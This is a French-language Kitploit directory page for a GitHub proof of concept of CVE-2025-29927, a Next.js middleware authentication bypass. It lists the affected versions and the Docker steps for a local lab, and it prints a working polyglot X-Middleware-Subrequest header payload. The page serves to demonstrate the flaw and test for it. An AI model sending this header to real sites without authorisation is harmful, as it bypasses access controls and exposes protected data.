Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-29927-PoC — PoC pour CVE-2025-29927 : vulnérabilité de contournement du middleware Next.js. Démontre comment x-middleware-subrequest peut contourner les contrôles d'authentification. Inclut une configuration Docker pour les tests. | Kitploit
Outils/GitHubGitHub/alihussainzada/cve-2025-29927-poc
Authentification et AutorisationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubalihussainzada/cve-2025-29927-poc

CVE-2025-29927-PoC

PoC pour CVE-2025-29927 : vulnérabilité de contournement du middleware Next.js. Démontre comment x-middleware-subrequest peut contourner les contrôles d'authentification. Inclut une configuration Docker pour les tests.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
513il y a 1 anPas encore vérifié

CVE-2025-29927 : PoC de la vulnérabilité de contournement du middleware Next.js

Ce dépôt démontre la vulnérabilité CVE-2025-29927 dans Next.js, où l'en-tête interne x-middleware-subrequest peut être utilisé pour contourner les contrôles du middleware comme l'authentification.

Versions concernées

  • Next.js 15.x < 15.2.3
  • Next.js 14.x < 14.2.25
  • Next.js 13.x < 13.5.9

Étapes de reproduction

1. Cloner le dépôt :

root@kitploit:~
git clone https://github.com/alihussainzada/CVE-2025-29927-PoC.git

2. Accéder au dossier du projet :

root@kitploit:~
cd CVE-2025-29927-PoC

3. Générer un secret :

root@kitploit:~
openssl rand -base64 32

4. Mettre à jour le secret dans le fichier .env :

root@kitploit:~
NEXTAUTH_SECRET=your_generated_secret

5. Construire et exécuter avec Docker :

root@kitploit:~
docker build -t nextjs .
docker run -p 3000:3000 --env-file .env nextjs

Preuve de concept

Nous pouvons grandement simplifier l'exploitation de ce problème en utilisant un polyglotte qui nous permet de couvrir efficacement les différents cas potentiels. Nous y sommes parvenus grâce à l'en-tête HTTP suivant, utilisé pour vérifier la présence d'un contournement de l'authentification :

root@kitploit:~
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

Redirection des utilisateurs

Exemple d'exploitation

Crédits/Sources

  • Blog de Next.js sur CVE-2025-29927
  • Recherche de Zhero Web Security : Next.js et le middleware corrompu
  • Recherche d'Assetnote Security : Analyse du contournement du middleware Next.js
Télécharger l’outil